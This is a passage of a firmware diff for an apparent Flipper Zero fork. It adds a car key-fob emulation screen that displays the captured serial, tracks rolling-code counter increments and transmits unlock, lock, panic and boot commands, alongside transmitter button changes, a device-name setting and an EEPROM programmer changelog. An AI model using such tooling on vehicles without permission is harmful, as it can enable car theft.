         } else if(event.event == SubGhzCustomEventViewTransmitterError) {
             furi_string_set(subghz->error_str, "Protocol not\nfound!");
             scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub);

applications/main/subghz/subghz.c

@@ -206,6 +206,12 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
         SubGhzViewIdKeeloqDecrypt,
         subghz_view_keeloq_decrypt_get_view(subghz->subghz_keeloq_decrypt));
 
+    subghz->car_emulate_view = subghz_car_emulate_view_alloc();
+    view_dispatcher_add_view(
+        subghz->view_dispatcher,
+        SubGhzViewIdCarEmulate,
+        subghz_car_emulate_view_get_view(subghz->car_emulate_view));
+
     //init threshold rssi
     subghz->threshold_rssi = subghz_threshold_rssi_alloc();
 
@@ -321,6 +327,10 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
     view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
     subghz_view_keeloq_decrypt_free(subghz->subghz_keeloq_decrypt);
 
+    // Custom car-emulate view
+    view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdCarEmulate);
+    subghz_car_emulate_view_free(subghz->car_emulate_view);
+
     // Read RAW
     view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdReadRAW);
     subghz_read_raw_free(subghz->subghz_read_raw);

applications/main/subghz/subghz_i.h

@@ -43,6 +43,8 @@
 #include "helpers/subghz_txrx.h"
 #include "helpers/subghz_keeloq_keys.h"
 
+#include "views/subghz_car_emulate.h"
+
 #define SUBGHZ_MAX_LEN_NAME      64
 #define SUBGHZ_EXT_PRESET_NAME   true
 #define SUBGHZ_RAW_THRESHOLD_MIN (-90.0f)
@@ -76,6 +78,7 @@ struct SubGhz {
     SubGhzReadRAW* subghz_read_raw;
     SubGhzViewPsaDecrypt* subghz_psa_decrypt;
     SubGhzViewKeeloqDecrypt* subghz_keeloq_decrypt;
+    SubGhzCarEmulateView* car_emulate_view;
     bool raw_send_only;
 
     bool save_datetime_set;

applications/main/subghz/subghz_last_settings.c

@@ -22,6 +22,8 @@
 #define SUBGHZ_LAST_SETTING_FIELD_HOPPING_THRESHOLD                 "HoppingThreshold"
 #define SUBGHZ_LAST_SETTING_FIELD_LED_AND_POWER_AMP                 "LedAndPowerAmp"
 #define SUBGHZ_LAST_SETTING_FIELD_TX_POWER                          "TXPower"
+#define SUBGHZ_LAST_SETTING_FIELD_CUSTOM_CAR_EMULATE                "CustomCarEmulate"
+#define SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILTER                   "ProtocolFilter"
 
 SubGhzLastSettings* subghz_last_settings_alloc(void) {
     SubGhzLastSettings* instance = malloc(sizeof(SubGhzLastSettings));
@@ -50,6 +52,7 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
     instance->enable_preset_hopping = false;
     instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
     instance->leds_and_amp = true;
+    instance->protocol_filter[0] = '\0';
 
     Storage* storage = furi_record_open(RECORD_STORAGE);
     FlipperFormat* fff_data_file = flipper_format_file_alloc(storage);
@@ -163,6 +166,27 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
                    1)) {
                 flipper_format_rewind(fff_data_file);
             }
+             if(!flipper_format_read_bool(
+                    fff_data_file,
+                    SUBGHZ_LAST_SETTING_FIELD_CUSTOM_CAR_EMULATE,
+                    &instance->custom_car_emulate,
+                    1)) {
+                instance->custom_car_emulate = false;
+                flipper_format_rewind(fff_data_file);
+            }
+            FuriString* filter_str = furi_string_alloc();
+            if(flipper_format_read_string(
+                   fff_data_file, SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILTER, filter_str)) {
+                strncpy(
+                    instance->protocol_filter,
+                    furi_string_get_cstr(filter_str),
+                    sizeof(instance->protocol_filter) - 1);
+                instance->protocol_filter[sizeof(instance->protocol_filter) - 1] = '\0';
+            } else {
+                instance->protocol_filter[0] = '\0';
+                flipper_format_rewind(fff_data_file);
+            }
+            furi_string_free(filter_str);
 
         } while(0);
     } else {
@@ -281,6 +305,19 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) {
                file, SUBGHZ_LAST_SETTING_FIELD_LED_AND_POWER_AMP, &instance->leds_and_amp, 1)) {
             break;
         }
+        if(!flipper_format_write_bool(
+               file,
+               SUBGHZ_LAST_SETTING_FIELD_CUSTOM_CAR_EMULATE,
+               &instance->custom_car_emulate,
+               1)) {
+            break;
+        }
+        if(!flipper_format_write_string_cstr(
+               file,
+               SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILTER,
+               instance->protocol_filter)) {
+            break;
+        }
 
         saved = true;
     } while(0);

applications/main/subghz/subghz_last_settings.h

@@ -30,6 +30,8 @@ typedef struct {
     float preset_hopping_threshold;
     bool leds_and_amp;
     uint8_t tx_power;
+    bool custom_car_emulate;
+    char protocol_filter[256];  /* comma-separated allowlist, empty = disabled */
 } SubGhzLastSettings;
 
 SubGhzLastSettings* subghz_last_settings_alloc(void);

applications/main/subghz/views/subghz_car_emulate.c

@@ -0,0 +1,264 @@
+#include "subghz_car_emulate.h"
+#include "../helpers/subghz_custom_event.h"
+
+#include <gui/elements.h>
+#include <input/input.h>
+#include <furi.h>
+
+#define TAG "SubGhzCarEmulateView"
+
+/* ── Model ──────────────────────────────────────────────────────────────── */
+typedef struct {
+    char     protocol_name[32];
+    uint32_t serial;
+    uint32_t counter;
+    uint32_t original_counter;
+    uint32_t freq;
+    char     preset[12];
+    bool     is_transmitting;
+    uint8_t  anim_frame;
+    char     label_ok[12];
+    char     label_up[12];
+    char     label_down[12];
+    char     label_left[12];
+    char     label_right[12];
+} SubGhzCarEmulateViewModel;
+
+/* ── Handle ─────────────────────────────────────────────────────────────── */
+struct SubGhzCarEmulateView {
+    View*                        view;
+    SubGhzCarEmulateViewCallback callback;
+    void*                        context;
+};
+
+/* ── Draw ───────────────────────────────────────────────────────────────── */
+static void subghz_car_emulate_view_draw(Canvas* canvas, void* model_ptr) {
+    SubGhzCarEmulateViewModel* m = model_ptr;
+
+    m->anim_frame = (m->anim_frame + 1) % 8;
+
+    canvas_clear(canvas);
+
+    /* Header bar */
+    canvas_draw_box(canvas, 0, 0, 128, 11);
+    canvas_invert_color(canvas);
+    canvas_set_font(canvas, FontSecondary);
+    canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, m->protocol_name);
+    canvas_invert_color(canvas);
+
+    /* Info row 1: serial + counter */
+    canvas_set_font(canvas, FontSecondary);
+    char buf[32];
+
+    if(m->serial <= 0xFFFFFFUL) {
+        snprintf(buf, sizeof(buf), "SN:%06lX", (unsigned long)(m->serial & 0xFFFFFFUL));
+    } else {
+        snprintf(buf, sizeof(buf), "SN:%08lX", (unsigned long)m->serial);
+    }
+    canvas_draw_str(canvas, 2, 20, buf);
+
+    snprintf(buf, sizeof(buf), "CNT:%04lX", (unsigned long)m->counter);
+    canvas_draw_str(canvas, 68, 20, buf);
+
+    if(m->counter > m->original_counter) {
+        snprintf(buf, sizeof(buf), "+%ld", (long)(m->counter - m->original_counter));
+        canvas_draw_str(canvas, 112, 20, buf);
+    }
+
+    /* Info row 2: frequency + preset */
+    snprintf(
+        buf,
+        sizeof(buf),
+        "F:%lu.%02lu",
+        (unsigned long)(m->freq / 1000000UL),
+        (unsigned long)((m->freq % 1000000UL) / 10000UL));
+    canvas_draw_str(canvas, 2, 30, buf);
+    canvas_draw_str(canvas, 95, 30, m->preset);
+
+    /* ── Button labels ── */
+    const uint8_t font_h = canvas_current_font_height(canvas);
+
+    /* Centre  → UNLOCK (OK button) */
+    {
+        const char* lbl        = m->label_ok;
+        uint8_t     w          = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
+        canvas_draw_rbox(canvas, 64 - w / 2, 45 - font_h / 2, w, font_h, 3);
+        canvas_invert_color(canvas);
+        canvas_draw_str_aligned(canvas, 64, 49, AlignCenter, AlignBottom, lbl);
+        canvas_invert_color(canvas);
+    }
+
+    /* Up → LOCK */
+    {
+        const char* lbl        = m->label_up;
+        uint8_t     w          = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
+        canvas_draw_rbox(canvas, 64 - w / 2, 33 - font_h / 2, w, font_h, 3);
+        canvas_invert_color(canvas);
+        canvas_draw_str_aligned(canvas, 64, 37, AlignCenter, AlignBottom, lbl);
+        canvas_invert_color(canvas);
+    }
+
+    /* Left → PANIC */
+    {
+        const char* lbl = m->label_left;
+        uint8_t     w   = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
+        canvas_draw_rbox(canvas, 0, 46 - font_h / 2, w, font_h, 3);
+        canvas_invert_color(canvas);
+        canvas_draw_str_aligned(canvas, w / 2, 50, AlignCenter, AlignBottom, lbl);
+        canvas_invert_color(canvas);
+    }
+
+    /* Right → generic extra */
+    {
+        const char* lbl = m->label_right;
+        uint8_t     w   = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
+        canvas_draw_rbox(canvas, 127 - w, 46 - font_h / 2, w, font_h, 3);
+        canvas_invert_color(canvas);
+        canvas_draw_str_aligned(canvas, 127 - w / 2, 50, AlignCenter, AlignBottom, lbl);
+        canvas_invert_color(canvas);
+    }
+
+    /* Down → BOOT */
+    {
+        const char* lbl = m->label_down;
+        uint8_t     w   = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
+        canvas_draw_rbox(canvas, 64 - w / 2, 57 - font_h / 2, w, font_h, 3);
+        canvas_invert_color(canvas);
+        canvas_draw_str_aligned(canvas, 64, 61, AlignCenter, AlignBottom, lbl);
+        canvas_invert_color(canvas);
+    }
+
+    /* TX overlay */
+    if(m->is_transmitting) {
+        canvas_draw_rbox(canvas, 24, 18, 80, 18, 3);
+        canvas_invert_color(canvas);
+        int wave = m->anim_frame % 3;
+        canvas_draw_str(canvas, 28 + wave * 2, 25, ")))");
+        canvas_set_font(canvas, FontPrimary);
+        canvas_draw_str_aligned(canvas, 64, 24, AlignCenter, AlignCenter, "TX");
+        canvas_invert_color(canvas);
+    }
+}
+
+/* ── Input ──────────────────────────────────────────────────────────────── */
+static bool subghz_car_emulate_view_input(InputEvent* event, void* context) {
+    SubGhzCarEmulateView* instance = context;
+    furi_assert(instance);
+
+    if(event->type == InputTypePress) {
+        if(event->key == InputKeyBack) {
+            if(instance->callback) {
+                instance->callback(SubGhzCustomEventCarEmulateExit, instance->context);
+            }
+            return true;
+        }
+
+        /* Any directional / OK key → start TX */
+        if(instance->callback) {
+            /* Pack the raw InputKey into the upper bits of the event so the
+               scene can read which button was pressed.
+               Lower 16 bits = SubGhzCustomEventCarEmulateTransmit marker,
+               upper 16 bits = InputKey value. */
+            uint32_t ev = ((uint32_t)event->key << 16) |
+                          (uint32_t)SubGhzCustomEventCarEmulateTransmit;
+            instance->callback(ev, instance->context);
+        }
+        return true;
+
+    } else if(event->type == InputTypeRelease) {
+        if(event->key != InputKeyBack) {
+            if(instance->callback) {
+                instance->callback(SubGhzCustomEventCarEmulateStop, instance->context);
+            }
+            return true;
+        }
+    }
+
+    return false;
+}
+
+/* ── Alloc / Free ───────────────────────────────────────────────────────── */
+SubGhzCarEmulateView* subghz_car_emulate_view_alloc(void) {
+    SubGhzCarEmulateView* instance = malloc(sizeof(SubGhzCarEmulateView));
+    furi_check(instance);
+
+    instance->view     = view_alloc();
+    instance->callback = NULL;
+    instance->context  = NULL;
+
+    view_set_context(instance->view, instance);
+    view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzCarEmulateViewModel));
+    view_set_draw_callback(instance->view, subghz_car_emulate_view_draw);
+    view_set_input_callback(instance->view, subghz_car_emulate_view_input);
+
+    return instance;
+}
+
+void subghz_car_emulate_view_free(SubGhzCarEmulateView* instance) {
+    furi_check(instance);
+    view_free(instance->view);
+    free(instance);
+}
+
+View* subghz_car_emulate_view_get_view(SubGhzCarEmulateView* instance) {
+    furi_check(instance);
+    return instance->view;
+}
+
+void subghz_car_emulate_view_set_callback(
+    SubGhzCarEmulateView* instance,
+    SubGhzCarEmulateViewCallback callback,
+    void* context) {
+    furi_check(instance);
+    instance->callback = callback;
+    instance->context  = context;
+}
+
+void subghz_car_emulate_view_set_data(
+    SubGhzCarEmulateView* instance,
+    const char*  protocol_name,
+    uint32_t     serial,
+    uint32_t     counter,
+    uint32_t     original_counter,
+    uint32_t     freq,
+    const char*  preset,
+    bool         is_transmitting) {
+    furi_check(instance);
+
+    with_view_model(
+        instance->view,
+        SubGhzCarEmulateViewModel * m,
+        {
+            strncpy(m->protocol_name, protocol_name, sizeof(m->protocol_name) - 1);
+            m->protocol_name[sizeof(m->protocol_name) - 1] = '\0';
+            m->serial           = serial;
+            m->counter          = counter;
+            m->original_counter = original_counter;
+            m->freq             = freq;
+            strncpy(m->preset, preset, sizeof(m->preset) - 1);
+            m->preset[sizeof(m->preset) - 1] = '\0';
+            m->is_transmitting  = is_transmitting;
+        },
+        true);
+}
+
+void subghz_car_emulate_view_set_labels(
+    SubGhzCarEmulateView* instance,
+    const char* ok,
+    const char* up,
+    const char* down,
+    const char* left,
+    const char* right) {
+    furi_check(instance);
+    with_view_model(
+        instance->view,
+        SubGhzCarEmulateViewModel * m,
+        {
+            strncpy(m->label_ok,    ok    ? ok    : "",  sizeof(m->label_ok)    - 1);
+            strncpy(m->label_up,    up    ? up    : "",  sizeof(m->label_up)    - 1);
+            strncpy(m->label_down,  down  ? down  : "",  sizeof(m->label_down)  - 1);
+            strncpy(m->label_left,  left  ? left  : "",  sizeof(m->label_left)  - 1);
+            strncpy(m->label_right, right ? right : "",  sizeof(m->label_right) - 1);
+        },
+        true);
+}

applications/main/subghz/views/subghz_car_emulate.h

@@ -0,0 +1,45 @@
+#pragma once
+
+#include <gui/view.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzCarEmulateView SubGhzCarEmulateView;
+
+typedef void (*SubGhzCarEmulateViewCallback)(uint32_t event, void* context);
+
+SubGhzCarEmulateView* subghz_car_emulate_view_alloc(void);
+void subghz_car_emulate_view_free(SubGhzCarEmulateView* instance);
+View* subghz_car_emulate_view_get_view(SubGhzCarEmulateView* instance);
+
+void subghz_car_emulate_view_set_callback(
+    SubGhzCarEmulateView* instance,
+    SubGhzCarEmulateViewCallback callback,
+    void* context);
+
+/** Update the fields shown on the view.
+ *  All strings are copied internally so the caller can free them after the call.
+ */
+void subghz_car_emulate_view_set_labels(
+    SubGhzCarEmulateView* instance,
+    const char* ok,
+    const char* up,
+    const char* down,
+    const char* left,
+    const char* right);
+
+void subghz_car_emulate_view_set_data(
+    SubGhzCarEmulateView* instance,
+    const char* protocol_name,
+    uint32_t serial,
+    uint32_t counter,
+    uint32_t original_counter,
+    uint32_t freq,
+    const char* preset,
+    bool is_transmitting);
+
+#ifdef __cplusplus
+}
+#endif

applications/main/subghz/views/transmitter.c

@@ -155,23 +155,68 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) {
         true);
 
     if(can_be_sent) {
-        if(event->key == InputKeyOk && event->type == InputTypePress) {
-            subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
-            with_view_model(
-                subghz_transmitter->view,
-                SubGhzViewTransmitterModel * model,
-                {
-                    furi_string_reset(model->temp_button_id);
-                    model->draw_temp_button = false;
-                },
-                true);
-            subghz_transmitter->callback(
-                SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context);
-            return true;
-        } else if(event->key == InputKeyOk && event->type == InputTypeRelease) {
-            subghz_transmitter->callback(
-                SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context);
-            return true;
+        // Long press d-pad: set custom btn + long flag (no send here, send happens below)
+        if(event->type == InputTypeLong) {
+            if(event->key == InputKeyUp) {
+                subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_UP);
+                subghz_custom_btn_set_long(true);
+            } else if(event->key == InputKeyDown) {
+                subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_DOWN);
+                subghz_custom_btn_set_long(true);
+            } else if(event->key == InputKeyLeft) {
+                subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_LEFT);
+                subghz_custom_btn_set_long(true);
+            } else if(event->key == InputKeyRight) {
+                subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_RIGHT);
+                subghz_custom_btn_set_long(true);
+            }
+        }
+
+        // OK button handling
+        if(event->key == InputKeyOk) {
+            if(event->type == InputTypePress) {
+                if(subghz_custom_btn_has_pages()) {
+                    // Multi-page protocol: cycle pages, do NOT send
+                    uint8_t max_pages = subghz_custom_btn_get_max_pages();
+                    uint8_t next_page = (subghz_custom_btn_get_page() + 1) % max_pages;
+                    subghz_custom_btn_set_page(next_page);
+                    // Reset d-pad selection to OK so display shows original btn
+                    subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
+                    with_view_model(
+                        subghz_transmitter->view,
+                        SubGhzViewTransmitterModel * model,
+                        {
+                            furi_string_reset(model->temp_button_id);
+                            furi_string_printf(model->temp_button_id, "P%u", next_page + 1);
+                            model->draw_temp_button = true;
+                        },
+                        true);
+                    // Refresh display with new page mapping
+                    subghz_transmitter->callback(
+                        SubGhzCustomEventViewTransmitterPageChange, subghz_transmitter->context);
+                    return true;
+                }
+                // Normal protocol: send original button
+                subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
+                with_view_model(
+                    subghz_transmitter->view,
+                    SubGhzViewTransmitterModel * model,
+                    {
+                        furi_string_reset(model->temp_button_id);
+                        model->draw_temp_button = false;
+                    },
+                    true);
+                subghz_transmitter->callback(
+                    SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context);
+                return true;
+            } else if(event->type == InputTypeRelease) {
+                // Only stop TX if we actually started it (not a page toggle)
+                if(!subghz_custom_btn_has_pages()) {
+                    subghz_transmitter->callback(
+                        SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context);
+                }
+                return true;
+            }
         } // Finish "OK" key processing
 
         if(subghz_custom_btn_is_allowed()) {

applications/services/desktop/desktop.c

@@ -282,6 +282,7 @@ static Desktop* desktop_alloc(void) {
     desktop->pin_input_view = desktop_view_pin_input_alloc();
     desktop->pin_timeout_view = desktop_view_pin_timeout_alloc();
     desktop->slideshow_view = desktop_view_slideshow_alloc();
+    //desktop->tos_view = desktop_view_tos_alloc();
 
     desktop->main_view_stack = view_stack_alloc();
     desktop->main_view = desktop_main_alloc();
@@ -326,6 +327,10 @@ static Desktop* desktop_alloc(void) {
         desktop->view_dispatcher,
         DesktopViewIdSlideshow,
         desktop_view_slideshow_get_view(desktop->slideshow_view));
+    //view_dispatcher_add_view(
+        //desktop->view_dispatcher,
+        //DesktopViewIdTos,
+        //desktop_view_tos_get_view(desktop->tos_view));
 
     // Lock icon
     desktop->lock_icon_viewport = view_port_alloc();
@@ -511,7 +516,9 @@ int32_t desktop_srv(void* p) {
 
     if(storage_file_exists(desktop->storage, SLIDESHOW_FS_PATH)) {
         scene_manager_next_scene(desktop->scene_manager, DesktopSceneSlideshow);
-    }
+    } //else {
+        //scene_manager_next_scene(desktop->scene_manager, DesktopSceneTos);
+    //}
 
     if(!furi_hal_version_do_i_belong_here()) {
         scene_manager_next_scene(desktop->scene_manager, DesktopSceneHwMismatch);

applications/services/desktop/desktop_i.h

@@ -11,6 +11,8 @@
 #include "views/desktop_view_lock_menu.h"
 #include "views/desktop_view_debug.h"
 #include "views/desktop_view_slideshow.h"
+//#include "views/desktop_view_tos.h"
+
 
 #include <gui/gui.h>
 #include <gui/view_stack.h>

applications/services/desktop/scenes/desktop_scene_slideshow.c

@@ -30,6 +30,7 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) {
         switch(event.event) {
         case DesktopSlideshowCompleted:
             scene_manager_previous_scene(desktop->scene_manager);
+            //scene_manager_search_and_switch_to_another_scene(desktop->scene_manager, DesktopSceneTos);
             consumed = true;
             break;
         case DesktopSlideshowPoweroff:

applications/settings/system/application.fam

@@ -3,7 +3,7 @@ App(
     name="System",
     apptype=FlipperAppType.SETTINGS,
     entry_point="system_settings_app",
-    requires=["gui", "locale"],
-    stack_size=1 * 1024,
+    requires=["gui", "locale", "storage"],
+    stack_size=2 * 1024,
     order=30,
 )

applications/settings/system/system_settings.c

@@ -2,6 +2,9 @@
 #include <loader/loader.h>
 #include <lib/toolbox/value_index.h>
 #include <locale/locale.h>
+#include <flipper_format/flipper_format.h>
+#include <power/power_service/power.h>
+#include <applications/services/namechanger/namechanger.h>
 
 const char* const log_level_text[] = {
     "Default",
@@ -208,6 +211,81 @@ static void filename_scheme_changed(VariableItem* item) {
     }
 }
 
+// ---- Device Name --------------------------------------------------------
+
+#define DEVICE_NAME_ITEM_INDEX 11
+
+static bool system_settings_device_name_validator(
+    const char* text,
+    FuriString* error,
+    void* context) {
+    UNUSED(context);
+    for(; *text; ++text) {
+        const char c = *text;
+        if((c < '0' || c > '9') && (c < 'A' || c > 'Z') && (c < 'a' || c > 'z')) {
+            furi_string_printf(error, "Letters and\nnumbers only!");
+            return false;
+        }
+    }
+    return true;
+}
+
+static void system_settings_device_name_callback(void* context) {
+    SystemSettings* app = context;
+
+    // Save name to SD card (same path as namechanger service)
+    FlipperFormat* file = flipper_format_file_alloc(app->storage);
+    bool saved = false;
+    do {
+        if(app->device_name[0] == '\0') {
+            // Empty name -> remove file to restore real name
+            storage_simply_remove(app->storage, NAMECHANGER_PATH);
+            saved = true;
+            break;
+        }
+        if(!flipper_format_file_open_always(file, NAMECHANGER_PATH)) break;
+        if(!flipper_format_write_header_cstr(file, NAMECHANGER_HEADER, NAMECHANGER_VERSION)) break;
+        if(!flipper_format_write_string_cstr(file, "Name", app->device_name)) break;
+        saved = true;
+    } while(false);
+    flipper_format_free(file);
+
+    if(saved) {
+        // Reboot to apply
+        Power* power = furi_record_open(RECORD_POWER);
+        power_reboot(power, PowerBootModeNormal);
+    } else {
+        // Go back silently on failure
+        view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewVarItemList);
+    }
+}
+
+static void system_settings_enter_callback(void* context, uint32_t index) {
+    SystemSettings* app = context;
+    if(index == DEVICE_NAME_ITEM_INDEX) {
+        text_input_reset(app->text_input);
+        text_input_set_header_text(app->text_input, "Device Name (empty=reset)");
+        text_input_set_validator(
+            app->text_input, system_settings_device_name_validator, NULL);
+        text_input_set_minimum_length(app->text_input, 0);
+        text_input_set_result_callback(
+            app->text_input,
+            system_settings_device_name_callback,
+            app,
+            app->device_name,
+            FURI_HAL_VERSION_ARRAY_NAME_LENGTH,
+            false);
+        view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewTextInput);
+    }
+}
+
+static uint32_t system_settings_text_input_back(void* context) {
+    UNUSED(context);
+    return SystemSettingsViewVarItemList;
+}
+
+// -------------------------------------------------------------------------
+
 static uint32_t system_settings_exit(void* context) {
     UNUSED(context);
     return VIEW_NONE;
@@ -218,6 +296,7 @@ SystemSettings* system_settings_alloc(void) {
 
     // Load settings
     app->gui = furi_record_open(RECORD_GUI);
+    app->storage = furi_record_open(RECORD_STORAGE);
 
     app->view_dispatcher = view_dispatcher_alloc();
     view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
@@ -314,6 +393,19 @@ SystemSettings* system_settings_alloc(void) {
     variable_item_set_current_value_index(item, value_index);
     variable_item_set_current_value_text(item, filename_scheme[value_index]);
 
+    // Device Name (index = DEVICE_NAME_ITEM_INDEX = 11)
+    const char* current_name = furi_hal_version_get_name_ptr();
+    strlcpy(
+        app->device_name,
+        current_name ? current_name : "",
+        FURI_HAL_VERSION_ARRAY_NAME_LENGTH);
+    item = variable_item_list_add(app->var_item_list, "Device Name", 0, NULL, app);
+    variable_item_set_current_value_text(
+        item, app->device_name[0] != '\0' ? app->device_name : "<default>");
+
+    variable_item_list_set_enter_callback(
+        app->var_item_list, system_settings_enter_callback, app);
+
     view_set_previous_callback(
         variable_item_list_get_view(app->var_item_list), system_settings_exit);
     view_dispatcher_add_view(
@@ -321,6 +413,15 @@ SystemSettings* system_settings_alloc(void) {
         SystemSettingsViewVarItemList,
         variable_item_list_get_view(app->var_item_list));
 
+    // TextInput for device name
+    app->text_input = text_input_alloc();
+    view_set_previous_callback(
+        text_input_get_view(app->text_input), system_settings_text_input_back);
+    view_dispatcher_add_view(
+        app->view_dispatcher,
+        SystemSettingsViewTextInput,
+        text_input_get_view(app->text_input));
+
     view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewVarItemList);
 
     return app;
@@ -328,12 +429,16 @@ SystemSettings* system_settings_alloc(void) {
 
 void system_settings_free(SystemSettings* app) {
     furi_assert(app);
+    // TextInput
+    view_dispatcher_remove_view(app->view_dispatcher, SystemSettingsViewTextInput);
+    text_input_free(app->text_input);
     // Variable item list
     view_dispatcher_remove_view(app->view_dispatcher, SystemSettingsViewVarItemList);
     variable_item_list_free(app->var_item_list);
     // View dispatcher
     view_dispatcher_free(app->view_dispatcher);
     // Records
+    furi_record_close(RECORD_STORAGE);
     furi_record_close(RECORD_GUI);
     free(app);
 }

applications/settings/system/system_settings.h

@@ -2,17 +2,24 @@
 
 #include <furi.h>
 #include <furi_hal.h>
+#include <furi_hal_version.h>
 
 #include <gui/gui.h>
 #include <gui/view_dispatcher.h>
 #include <gui/modules/variable_item_list.h>
+#include <gui/modules/text_input.h>
+#include <storage/storage.h>
 
 typedef struct {
     Gui* gui;
     ViewDispatcher* view_dispatcher;
     VariableItemList* var_item_list;
+    TextInput* text_input;
+    Storage* storage;
+    char device_name[FURI_HAL_VERSION_ARRAY_NAME_LENGTH];
 } SystemSettings;
 
 typedef enum {
     SystemSettingsViewVarItemList,
+    SystemSettingsViewTextInput,
 } SystemSettingsView;

applications/system/24cxxprog/CHANGELOG.md

@@ -0,0 +1,106 @@
+# Changelog
+
+All notable changes to the 24cxxprog EEPROM Programmer application will be documented in this file.
+
+## [2.0.0] - 2026-03-11
+
+### 🚀 Major Features Added
+
+#### Dynamic Memory Support for All 24Cxx Chips
+- **Full chip type support**: Added complete support for all EEPROM sizes from 24C01 (128B) to 24C512 (64KB)
+- **Dynamic buffer allocation**: Memory buffers now automatically resize based on selected chip type
+- **Configurable in Settings**: Users can now select chip type in Settings menu, and all operations adapt automatically
+
+### ✨ Enhancements
+
+#### Memory Management
+- Replaced fixed 256-byte buffers with dynamic allocation:
+  - `memory_data` - dynamically allocated based on chip size
+  - `file_data` - dynamically allocated based on chip size  
+  - `verify_buffer` - dynamically allocated based on chip size
+- Added `get_eeprom_size()` helper function returning size in bytes for each chip type
+- Added `reallocate_buffers()` function for automatic buffer reallocation on chip type change
+- Memory size tracked in `memory_size` field (32-bit for chips up to 64KB)
+
+#### Read/Write/Erase Operations
+- **Read operation**: Now reads entire EEPROM regardless of size (128B to 64KB)
+- **Write operation**: Supports writing to full address range of selected chip
+- **Erase operation**: Clears entire memory of selected chip type
+- **File operations**: Binary dumps now save/load full chip capacity
+
+#### User Interface Improvements
+- Address display format adapts to memory size:
+  - Small chips (≤256B): `0x00` format
+  - Large chips (>256B): `0000` hex format (4 digits)
+- Progress indicators updated for all memory sizes
+- Navigation (Up/Down) works across entire address range
+- File size display shows actual chip capacity
+
+#### File Naming
+- Filename generation now includes all chip types:
+  - Examples: `24C01_2026-03-11_10-30.bin`, `24C256_2026-03-11_10-30.bin`
+- Automatic timestamp-based naming for all chip variants
+
+### 🔧 Technical Changes
+
+#### Type Updates
+- Changed address/size types from `uint8_t` to `uint32_t` for large memory support:
+  - `current_address`: now `uint32_t`
+  - `read_total_bytes`: now `uint32_t`
+  - `write_total_bytes_async`: now `uint32_t`
+  - `verify_total_bytes`: now `uint32_t`
+  - `erase_current_addr`: now `uint32_t`
+  - `progress_value`: now `uint32_t`
+  - `file_size`: now `uint32_t`
+
+#### Format Specifiers
+- Updated all `printf`/`snprintf` calls to use correct format for `uint32_t`:
+  - Changed `%d` to `%lu` for unsigned long
+  - Changed `%X` to `%lX` for hex unsigned long
+
+#### Memory Safety
+- Added proper memory initialization in `reallocate_buffers()`
+- Added null pointer checks for all dynamically allocated buffers
+- Proper cleanup in `eeprom_app_free()` - all buffers freed correctly
+
+### 🐛 Bug Fixes
+- Fixed buffer overflow risk in memory operations for larger chips
+- Fixed format specifier warnings causing compilation errors
+- Fixed address boundary checking for chips larger than 256 bytes
+- Fixed progress bar calculations for larger memory sizes
+
+### 🔄 Behavioral Changes
+- Settings → Chip Type now immediately reallocates buffers
+- Current address is reset to 0 if it exceeds new chip size after type change
+- File load operation respects maximum chip capacity (won't load more than chip can hold)
+
+### 📋 Supported Chip Types
+
+Complete support matrix:
+| Chip Type | Size | Status |
+|-----------|------|--------|
+| 24C01 | 128 bytes | ✅ Full Support |
+| 24C02 | 256 bytes | ✅ Full Support |
+| 24C04 | 512 bytes | ✅ Full Support |
+| 24C08 | 1 KB | ✅ Full Support |
+| 24C16 | 2 KB | ✅ Full Support |
+| 24C32 | 4 KB | ✅ Full Support |
+| 24C64 | 8 KB | ✅ Full Support |
+| 24C128 | 16 KB | ✅ Full Support |
+| 24C256 | 32 KB | ✅ Full Support |
+| 24C512 | 64 KB | ✅ Full Support |
+
+### ⚠️ Breaking Changes
+- Binary dump files from previous versions (always 256 bytes) are incompatible with chip-specific sizes
+- Users should re-read and save new dumps after upgrading
+
+---
+
+## [1.0.0] - Previous Version
+
+### Initial Release
+- Basic read/write/erase operations
+- Fixed 256-byte buffer (24C02 only)
+- I2C address configuration
+- File load/save operations
+- Basic hex viewer

applications/system/24cxxprog/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Dr.Mosfet
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
